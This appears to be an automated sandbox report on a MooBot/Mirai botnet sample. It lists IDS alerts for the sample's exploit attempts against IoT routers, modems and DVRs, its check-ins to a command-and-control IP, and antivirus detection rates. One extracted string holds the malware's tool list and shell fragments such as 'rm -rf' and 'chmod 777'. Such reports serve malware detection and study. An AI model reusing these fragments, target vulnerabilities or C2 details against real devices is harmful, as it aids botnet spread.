ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.128.248.125

Timestamp:	03/21/24-05:25:38.421617
SID:	2030092
Source Port:	49932
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.65.200.184

Timestamp:	03/21/24-05:26:27.043680
SID:	2026102
Source Port:	48242
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 115.7.229.68

Timestamp:	03/21/24-05:25:59.314457
SID:	2023548
Source Port:	42208
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 86.150.122.60

Timestamp:	03/21/24-05:26:19.676948
SID:	2023548
Source Port:	48928
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:27:04.159044
SID:	2030490
Source Port:	48722
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017) - Source IP: 192.168.2.23 - Destination IP: 212.154.221.41

Timestamp:	03/21/24-05:26:53.982692
SID:	2049119
Source Port:	39646
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.65.21.247

Timestamp:	03/21/24-05:25:48.204553
SID:	2026102
Source Port:	58818
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 158.58.119.71

Timestamp:	03/21/24-05:25:58.235399
SID:	2023548
Source Port:	37358
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 103.179.190.80

Timestamp:	03/21/24-05:26:15.767792
SID:	2023548
Source Port:	34336
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 187.202.234.215

Timestamp:	03/21/24-05:26:55.138594
SID:	2023548
Source Port:	51476
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 204.108.11.150

Timestamp:	03/21/24-05:26:55.581749
SID:	2025883
Source Port:	36360
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:03.381882
SID:	2030490
Source Port:	45824
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 67.7.23.118

Timestamp:	03/21/24-05:26:12.168737
SID:	2023548
Source Port:	36182
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.67.118.127

Timestamp:	03/21/24-05:26:56.123656
SID:	2018132
Source Port:	54934
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 119.202.137.200

Timestamp:	03/21/24-05:26:57.974296
SID:	2023548
Source Port:	59042
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.65.102.206

Timestamp:	03/21/24-05:26:16.370263
SID:	2027153
Source Port:	60692
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 27.147.114.253

Timestamp:	03/21/24-05:26:23.536662
SID:	2023548
Source Port:	58102
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 45.53.188.176

Timestamp:	03/21/24-05:26:11.241294
SID:	2023548
Source Port:	37412
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 66.74.206.108

Timestamp:	03/21/24-05:26:11.995334
SID:	2023548
Source Port:	56344
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.233.155.253

Timestamp:	03/21/24-05:26:30.698132
SID:	2018132
Source Port:	45334
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 212.12.25.31

Timestamp:	03/21/24-05:27:06.734022
SID:	2835221
Source Port:	32930
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 148.0.248.5

Timestamp:	03/21/24-05:26:44.138553
SID:	2025883
Source Port:	57514
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 20.37.141.249

Timestamp:	03/21/24-05:26:29.416319
SID:	2025883
Source Port:	43868
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 153.121.72.178

Timestamp:	03/21/24-05:25:38.420020
SID:	2030092
Source Port:	36470
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 177.192.228.24

Timestamp:	03/21/24-05:25:58.187607
SID:	2023548
Source Port:	60224
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 181.88.240.54

Timestamp:	03/21/24-05:26:07.377306
SID:	2023548
Source Port:	59730
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 40.84.132.201

Timestamp:	03/21/24-05:26:34.900891
SID:	2025883
Source Port:	58050
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:05.715712
SID:	2030490
Source Port:	45920
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 119.202.169.45

Timestamp:	03/21/24-05:26:07.143508
SID:	2023548
Source Port:	40030
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 121.254.156.199

Timestamp:	03/21/24-05:25:58.477997
SID:	2030092
Source Port:	55826
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 121.136.181.89

Timestamp:	03/21/24-05:26:23.271103
SID:	2023548
Source Port:	44130
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 2.37.157.65

Timestamp:	03/21/24-05:25:30.571767
SID:	2025883
Source Port:	36358
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 104.21.217.182

Timestamp:	03/21/24-05:26:18.580595
SID:	2018132
Source Port:	36950
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 110.66.27.9

Timestamp:	03/21/24-05:25:59.604781
SID:	2023548
Source Port:	39218
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 197.203.51.120

Timestamp:	03/21/24-05:26:14.644991
SID:	2023548
Source Port:	39596
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 39.29.2.119

Timestamp:	03/21/24-05:26:57.605123
SID:	2023548
Source Port:	43980
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:40.914070
SID:	2030490
Source Port:	47674
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

• AV Detection
• Spreading
• Networking
• System Summary
• Persistence and Installation Behavior
• Hooking and other Techniques for Hiding and Protection
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: wbUtbKZmxZ.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: wbUtbKZmxZ.elf	ReversingLabs: Detection: 68%
Source: wbUtbKZmxZ.elf	Virustotal: Detection: 62%			Perma Link

Machine Learning detection for sample

Source: wbUtbKZmxZ.elf

Joe Sandbox ML: detected

Source: wbUtbKZmxZ.elf

String: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k/proc//proc/%d/exewgetcurlping/pswiresharktcpdumppythoniptablesnanonvimgdb/proc/maps/fd/proc/net/tcp/bin/systemd/bin/watchdog/bin/busybox/var/SofiamkdirtouchechoHTTPetherapegittelnetdsshdmysqlddropbearencoderpgrepyumtftpftpgetrebootpoweroffshutdownnetcatapt/usr/bin/usr/ftp/usr/sbinusrrm -rf && mkdir ; > && mv ; chmod 777 3f

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:44694 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45068 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45070 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45126 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45128 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45148 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45156 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45158 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45234 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45236 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56846 -> 23.102.39.67:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56846 -> 23.102.39.67:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52396 -> 185.246.18.254:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60178 -> 52.43.75.238:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36358 -> 2.37.157.65:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60178 -> 52.43.75.238:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:52396 -> 185.246.18.254:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36358 -> 2.37.157.65:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45238 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45368 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60602 -> 66.96.147.195:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40968 -> 172.168.155.7:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45372 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40968 -> 172.168.155.7:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36470 -> 153.121.72.178:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49932 -> 23.128.248.125:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49932 -> 23.128.248.125:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36470 -> 153.121.72.178:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40184 -> 45.38.15.252:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60602 -> 66.96.147.195:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45434 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59048 -> 104.66.236.242:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59660 -> 139.64.175.176:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54120 -> 89.213.40.119:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59660 -> 139.64.175.176:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45452 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59048 -> 104.66.236.242:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:54120 -> 89.213.40.119:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38198 -> 196.242.84.108:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38198 -> 196.242.84.108:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45072 -> 23.220.199.215:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40184 -> 45.38.15.252:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45530 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45072 -> 23.220.199.215:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33008 -> 107.23.24.185:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45558 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33008 -> 107.23.24.185:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45560 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45568 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:58818 -> 172.65.21.247:55555
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:58818 -> 172.65.21.247:55555
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:58818 -> 172.65.21.247:55555
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42718 -> 208.84.41.212:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:42718 -> 208.84.41.212:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45576 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45586 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33814 -> 52.220.177.74:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45854 -> 8.26.12.90:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45854 -> 8.26.12.90:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33814 -> 52.220.177.74:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45608 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37936 -> 137.184.158.188:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56362 -> 164.90.233.195:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:37936 -> 137.184.158.188:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56362 -> 164.90.233.195:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:59718 -> 172.67.229.58:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:43368 -> 172.67.233.125:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:45688 -> 172.66.136.67:8080
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45624 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53658 -> 75.205.163.33:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:56826 -> 32.216.48.33:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:56846 -> 32.216.48.33:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53666 -> 75.205.163.33:7547
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:53498 -> 172.65.26.42:55555
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:53498 -> 172.65.26.42:55555
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:53498 -> 172.65.26.42:55555
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:37694 -> 92.172.61.75:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:37698 -> 92.172.61.75:7547
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57386 -> 52.39.160.57:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45648 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:55006 -> 172.65.87.224:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:50534 -> 172.65.225.232:8080
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57386 -> 52.39.160.57:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44510 -> 209.237.187.170:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45670 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45712 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:32776 -> 46.138.241.167:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:43894 -> 186.138.198.149:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:45602 -> 223.133.107.197:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:60224 -> 177.192.228.24:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:43944 -> 186.138.198.149:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:37358 -> 158.58.119.71:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:60244 -> 177.192.228.24:7547
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47142 -> 124.54.80.19:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55826 -> 121.254.156.199:80
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:37378 -> 158.58.119.71:7547
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47142 -> 124.54.80.19:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55826 -> 121.254.156.199:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:39458 -> 172.65.104.254:8080
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:43934 -> 77.25.132.174:7547
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45766 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:45658 -> 223.133.107.197:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39026 -> 115.2.119.193:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39170 -> 110.66.27.9:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:42208 -> 115.7.229.68:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35590 -> 115.20.204.85:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:32822 -> 46.138.241.167:7547
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:36102 -> 172.64.171.193:8080
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35634 -> 115.20.204.85:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39074 -> 115.2.119.193:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39076 -> 115.2.119.193:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:42252 -> 115.7.229.68:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39210 -> 110.66.27.9:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:42260 -> 115.7.229.68:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39218 -> 110.66.27.9:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35648 -> 115.20.204.85:7547
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:40162 -> 172.65.30.84:55555
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:40162 -> 172.65.30.84:55555
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:40162 -> 172.65.30.84:55555
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:50846 -> 172.65.184.114:55555
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:50846 -> 172.65.184.114:55555
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:50846 -> 172.65.184.114:55555
